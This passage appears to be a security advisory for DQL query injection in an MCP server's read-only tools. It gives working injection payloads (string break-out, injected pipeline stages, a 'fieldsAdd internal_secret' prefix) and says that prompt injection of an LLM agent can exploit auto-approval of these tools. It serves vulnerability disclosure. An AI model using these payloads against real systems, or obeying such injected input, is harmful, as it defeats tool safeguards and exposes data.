`fetch dt.davis.problems, from: now()-${timeframe}, to: now()`
src/capabilities/list-vulnerabilities.ts
19
timeframe
`fetch security.events, from: now()-${timeframe}, to: now()`
src/capabilities/list-exceptions.ts
11
timeframe
`fetch user.events, from: now()-${timeframe}, to: now()`
src/capabilities/get-events-for-cluster.ts
20
timeframe
`fetch events, from: now()-${timeframe}, to: now()`
src/capabilities/get-events-for-cluster.ts
27
clusterId, kubernetesEntityId
`| filter k8s.cluster.uid == "${clusterId}" or dt.entity.kubernetes_cluster == "${kubernetesEntityId}"`
All Zod schemas for these parameters use z.string() or z.array(z.string()) with no pattern validation.
PoC
clusterId - quote-and-comment break-out. With clusterId = 'x" or 1==1 //' the constructed query becomes:
| filter k8s.cluster.uid == "x" or 1==1 //" or dt.entity.kubernetes_cluster == ""
The first " closes the string literal, or 1==1 neutralises the filter to match every row, and // discards the rest of the line including the kubernetesEntityId guard.
entityNames - pipeline-stage injection. With entityNames = ['svc" | fields id, name, tags //'] the constructed smartscape query becomes:
After the // line comment, the effective query is smartscapeNodes "*" | search "*svc" | fields id, name, tags. The original | fields id, name, type stage is suppressed and replaced with the attacker's field selection - the tool returns whatever field set the attacker requests (including ones not in the tool's documented output contract).
timeframe - prefix injection. With timeframe = '30d, to: now() | fieldsAdd internal_secret //' the list-problems query becomes:
fetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now()
| filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate)
...
A new pipeline stage is injected before the tool's intended | filter, and the rest of the query is commented out.
The server's own verify_dql tool can be used to confirm any specific injection payload parses as valid DQL.
Impact
A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools' field-scope, time-window, and display caps.
The affected tools are annotated readOnlyHint: true, which some MCP clients treat as a signal to auto-approve. The injection turns a "safe" read tool into an arbitrary-DQL surface.
No new data access beyond what execute_dql already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation.